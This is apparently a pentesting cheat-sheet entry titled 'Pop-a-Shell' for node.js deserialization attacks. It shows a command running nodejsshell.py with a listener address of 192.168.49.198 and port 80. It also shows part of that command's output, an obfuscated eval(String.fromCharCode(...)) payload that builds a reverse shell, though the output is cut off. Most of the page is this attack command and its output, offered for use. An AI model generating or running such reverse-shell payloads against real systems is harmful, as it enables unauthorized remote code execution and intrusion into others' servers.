.. / nodejs_shell

Star

• Pop-a-Shell

Pop-a-Shell

It can help gain a bind or reverse connection to spawn an (psuedo-)interactive prompt for code execution.

• node.js deserialization shell

  
  python2 nodejsshell.py 192.168.49.198 80                       
  [+] LHOST = 192.168.49.198
  [+] LPORT = 80
  [+] Encoding
  eval(String.fromCharCode(10,118,97,114,32,110,101,116,32,61,32,114,101,113,117,105,114,101,40,39,110,101,116,39,41,59,10,118,97,114,32,115,112,97,119,110,32,61,32,114,101,113,117,105,114,101,40,39,99,104,105,108
  ...
  ...
  
  

Resources

https://github.com/ajinabraham/Node.Js-Security-Course/blob/master/nodejsshell.py